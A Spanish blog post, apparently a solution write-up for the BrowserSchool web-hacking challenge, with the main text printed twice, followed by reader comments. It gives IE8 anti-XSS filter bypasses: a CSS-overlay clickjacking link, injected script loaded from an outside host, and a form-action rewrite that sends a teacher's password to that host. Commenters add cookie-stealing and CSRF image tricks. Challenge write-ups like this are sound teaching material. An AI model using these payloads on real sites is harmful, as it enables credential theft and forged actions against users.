******************************************************************************************
- Solucionario Reto BrowserSchool [I de II] por Beni
- Solucionario Reto BrowserSchool [II de II] por Beni
******************************************************************************************
Internet Explorer / Asignatura 1
Lo más difícil del reto ha sido saltarse la protección que trae de serie Internet Explorer 8, o sea, el filtro anti-XSS. Viendo la clasificacion final parece obvio que no he sido el único al que le ha costado aprobar con el profesor 3.
Viendo lo que pasaba al pulsar el botón para aprobar o suspender, lo que hice para esta primera asignatura fue copiar y pegar la dirección que aparecía tras esta acción para usarlo como piedra angular de la solución:
GestionNotas.aspx?cbEvaluacion=1%26idMensaje=b003467e-4a1f-4c37-abda-2cc74ac17611
Si logramos que el profesor entre en esa página, entonces estamos aprobados. Buscamos en la red como saltarnos el filtro de IE8 y por los resultados obtenidos vemos que no es imposible hacerlo, especialmente por un articulo de Cesar Cerrudo que me fue de mucho provecho. En el se explica como usar un overlay por CSS para tapar la web original con un enlace, sin usar ningún tag de HTML que haga saltar el filtro, solo con [a] y [div].
Los primeros intentos los dirigí a obtener un layer transparente, que lograba el objetivo al pulsar en cualquier parte de la web menos en los controles que eran los que más importaban. Al no convencerme del todo, hice que el [div] pillara el aspecto de los botones que había y lo coloqué encima del botón existente ajustandolo poco a poco con un posicionamiento relativo. Si esto lo pude hacer fue porque el estilo del botón era muy simple, sin imagenes que habrían hecho saltar el filtro. O sea, esta es la forma:
- a=2[a href='X'][div class='BotonNormal' style='position:relative;width:47px;left:335px;top:-105px;padding:3px']Enviar[/div][/a]
Reemplazando la X del href por la ruta anterior, conseguimos el aprobado de esta asignatura.
Internet Explorer / Asignatura 2
Gracias a que tenemos la contraseña de aula de esta asignatura, obtenida con el Chrome o con el Firefox, podemos usar lo mismo que antes despues de haber posicionado el botón en su sitio:
- a=2[a href='GestionNotas.aspx?rbEvaluacion=1%26tCodigoAula=%255B%2523%2523%2524%2524123456%2eabcdef%2524%2524%2523%2523%255D%26idMensaje=8131f157-98f6-46d9-82e2-11031f5ea2da'][div class='BotonNormal' style='position:relative;width:47px;left:170px;top:142px;padding:3px']Enviar[/div][/a]
Internet Explorer / Asignatura 3
Al no tener la contraseña del profesor 3, no se puede repetir el truco que usamos en la asignatura. Volviendo al ejemplo de Cesar Cerrudo:
- a=2[a href='aula_3.aspx?idMensaje=b381de4b-7952-445a-8e99-85b28fcf9ecf%26idUsuario=d6471dea-8298-42aa-ab9d-6550b75fc471%26solucion=a=2[sc%0aript src=%22http://www.xxxx.es/script1.txt%22][/script]'][div class='BotonNormal' atyle='position:relative;width:75px;left:188px;top:141px;padding:3px']Suspender[/div][/a]
Para evitar que salte el filtro, subimos un fichero con el script deseado a cualquier web; e.g: http://www.xxxx.es/script1.txt contiene este código:
function f(){document.getElementById('resultado').value=1};
window.onload=function(){document.getElementById('bSuspender').onclick=f}
Esto requiere de dos pasos, o sea, al rellenar el form y enviarlo, el profesor vuelve a ver el form en blanco y tiene que volver a rellenarlo y mandarlo otra vez, pero os garantizo que por suerte coló.
Para sacar la contraseña del profesor, hacemos mas o menos lo mismo, pero con otro script; e.g: http://www.xxxx.es/script2.txt con este código:
document.getElementById('fcalificar').action='http://www.xxxx.es/p3/'
CONTRASEÑA PROFESOR 3: MsExplorer8.0.2009_%,..,
Despedida y cierre
Gracias a Microsoft y a Informatica64 por el reto y por la generosidad en los premios ofrecidos y enhorabuena al resto de ganadores y demás participantes.
******************************************************************************************
- Solucionario Reto BrowserSchool [I de II] por Beni
- Solucionario Reto BrowserSchool [II de II] por Beni
******************************************************************************************
- Solucionario Reto BrowserSchool [I de II] por Beni
- Solucionario Reto BrowserSchool [II de II] por Beni
******************************************************************************************
Internet Explorer / Asignatura 1
Lo más difícil del reto ha sido saltarse la protección que trae de serie Internet Explorer 8, o sea, el filtro anti-XSS. Viendo la clasificacion final parece obvio que no he sido el único al que le ha costado aprobar con el profesor 3.
Viendo lo que pasaba al pulsar el botón para aprobar o suspender, lo que hice para esta primera asignatura fue copiar y pegar la dirección que aparecía tras esta acción para usarlo como piedra angular de la solución:
GestionNotas.aspx?cbEvaluacion=1%26idMensaje=b003467e-4a1f-4c37-abda-2cc74ac17611
Si logramos que el profesor entre en esa página, entonces estamos aprobados. Buscamos en la red como saltarnos el filtro de IE8 y por los resultados obtenidos vemos que no es imposible hacerlo, especialmente por un articulo de Cesar Cerrudo que me fue de mucho provecho. En el se explica como usar un overlay por CSS para tapar la web original con un enlace, sin usar ningún tag de HTML que haga saltar el filtro, solo con [a] y [div].
Los primeros intentos los dirigí a obtener un layer transparente, que lograba el objetivo al pulsar en cualquier parte de la web menos en los controles que eran los que más importaban. Al no convencerme del todo, hice que el [div] pillara el aspecto de los botones que había y lo coloqué encima del botón existente ajustandolo poco a poco con un posicionamiento relativo. Si esto lo pude hacer fue porque el estilo del botón era muy simple, sin imagenes que habrían hecho saltar el filtro. O sea, esta es la forma:
- a=2[a href='X'][div class='BotonNormal' style='position:relative;width:47px;left:335px;top:-105px;padding:3px']Enviar[/div][/a]
Reemplazando la X del href por la ruta anterior, conseguimos el aprobado de esta asignatura.
Internet Explorer / Asignatura 2
Gracias a que tenemos la contraseña de aula de esta asignatura, obtenida con el Chrome o con el Firefox, podemos usar lo mismo que antes despues de haber posicionado el botón en su sitio:
- a=2[a href='GestionNotas.aspx?rbEvaluacion=1%26tCodigoAula=%255B%2523%2523%2524%2524123456%2eabcdef%2524%2524%2523%2523%255D%26idMensaje=8131f157-98f6-46d9-82e2-11031f5ea2da'][div class='BotonNormal' style='position:relative;width:47px;left:170px;top:142px;padding:3px']Enviar[/div][/a]
Internet Explorer / Asignatura 3
Al no tener la contraseña del profesor 3, no se puede repetir el truco que usamos en la asignatura. Volviendo al ejemplo de Cesar Cerrudo:
- a=2[a href='aula_3.aspx?idMensaje=b381de4b-7952-445a-8e99-85b28fcf9ecf%26idUsuario=d6471dea-8298-42aa-ab9d-6550b75fc471%26solucion=a=2[sc%0aript src=%22http://www.xxxx.es/script1.txt%22][/script]'][div class='BotonNormal' atyle='position:relative;width:75px;left:188px;top:141px;padding:3px']Suspender[/div][/a]
Para evitar que salte el filtro, subimos un fichero con el script deseado a cualquier web; e.g: http://www.xxxx.es/script1.txt contiene este código:
function f(){document.getElementById('resultado').value=1};
window.onload=function(){document.getElementById('bSuspender').onclick=f}
Esto requiere de dos pasos, o sea, al rellenar el form y enviarlo, el profesor vuelve a ver el form en blanco y tiene que volver a rellenarlo y mandarlo otra vez, pero os garantizo que por suerte coló.
Para sacar la contraseña del profesor, hacemos mas o menos lo mismo, pero con otro script; e.g: http://www.xxxx.es/script2.txt con este código:
document.getElementById('fcalificar').action='http://www.xxxx.es/p3/'
CONTRASEÑA PROFESOR 3: MsExplorer8.0.2009_%,..,
Despedida y cierre
Gracias a Microsoft y a Informatica64 por el reto y por la generosidad en los premios ofrecidos y enhorabuena al resto de ganadores y demás participantes.
******************************************************************************************
- Solucionario Reto BrowserSchool [I de II] por Beni
- Solucionario Reto BrowserSchool [II de II] por Beni
******************************************************************************************
Chema, siempre tienes un as debajo de la manga.
ResponderEliminarMás que nada porque entendí que hoy no habría post.
Nos mimas demasiado.
;P
Gracias Beni y a Chema por publicarla..esperaba con ansia la solución desde hace tiempo ;)
ResponderEliminarNo se si te acuerdas que te comenté en la rooted, a ver si cuentas ya el truco! jaja ingenioso lo del css overlay.
Curiosamente participar en el concurso hizo cambiar mi visión sobre IE.
¿Chema, Para cuando el próximo para estudiantes solamente? que si no el amigo kachakil arrasa :P
Maligno comenta algo de la Pwn2own 2010, IE 8 sobre Windows 7 ha sido el primer año en caer.
ResponderEliminarTodavia no ha conseguido aguantar vivo ninguna edición.
@Anónimo, aquí tienes tu paper:
ResponderEliminarhttp://vreugdenhilresearch.nl/Pwn2Own-2010-Windows7-InternetExplorer8.pdf
Un saludo
Dani Kachakil, estuvo genial tu presentación, e impresionante la herramienta!
ResponderEliminar(escribo aquí porque en su web no tiene comentarios).
Un saludo
@Anonimo
ResponderEliminarYa han caido todos menos Chrome. Igual que el año pasado
http://mashable.com/2010/03/25/iphone-firefox-safari-ie8-hacked/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+Mashable+%28Mashable%29&utm_content=Google+Reader
Por fin se desveló el misterio del IE8, aunque resulta que era una técnica que ya me había leido. En cualquier caso, me ha parecido una solución muy ingeniosa, así que enhorabuena Beni!. Por cierto, ¿la solución de kamikazike para el IE8 es la misma?
ResponderEliminar@vicent: Jajaja, no me seas nenaza!. Nada de volver a discriminarnos con más retos para estudiantes y cosas por el estilo. De todas formas, a pesar de que yo no participara, tampoco veo que hayas quedado en el top 3, así que menos excusas... ;-)
@anónimo: Muchas gracias por el feedback!
El lado del mal se expande!!!
ResponderEliminarhttp://rlmacas.blogspot.com/2010/03/pwn2own-2010-entrevista-con-charlie.html
lo de menos chrome es una mentira,porque no intentaron hacerlo caer,o sea fue ignorado ,igual que opera,Miller dijo que contaba con varias fallas de chrome pero no tubo tiempo en buscar la forma de aprovecharla,y que le dedico el tiempo a safari que era mucho mas facil y rapido,que fue el primero en caer y con esto ya lleva 3 años consecutivos en caer en 10 segundos
ResponderEliminarestubiste guay en la charla de la carballeira (ourense). pero me quedaron algunas dudas y me gustaria preguntartelas,te doy mi direccion: andresalonso6362@hotmail.com. contacta conmigo gracias
ResponderEliminarHola,
ResponderEliminarAl acabar el reto, pensé en realizar un solucionario explicando como conseguí realizar las pruebas, pero por desgracia no había apuntado nada sobre las soluciones que me habían dado como válidas y no quería hacer algo a medias.
Para IE8 y Chrome, las soluciones son muy parecidas a las de Beni, y supongo que a la mayoría que las pasaron.
Para conseguir las contraseñas, realicé el tipico cookie stealer.
Con IE8, la cosa se puso mas dificil. Probé de todo sin mucho éxito. Finalmente, decidí dejar de intentar modificar el comportamiento de la hoja, y remplantear el problema. Como ha dicho Beni, el objetivo era que el profesor accedira a esa URL que da el examen por válido.
Comprobé que el filtro anti-XSS de IE8 no bloquea los tags IMG... :D
La solución era tan simple como insertar una imagen que hiciera la petición de dicha URL (CSRF). De esta manera se conseguia aprobar las asignaturas sin que el profesor hubiera pulsado ningún botón.
Creo que esta solución serviría para todas las pruebas.
Por si alguien quiere comentar o preguntar algo, aquí teneis mi correo: kamikazike[at]gmail[dot]com
Desde aquí me gustaría agradecer a los organizadores la realización del reto, que fué muy divertido y con mucha tensión!
Felicidades también al resto de ganadores y participantes!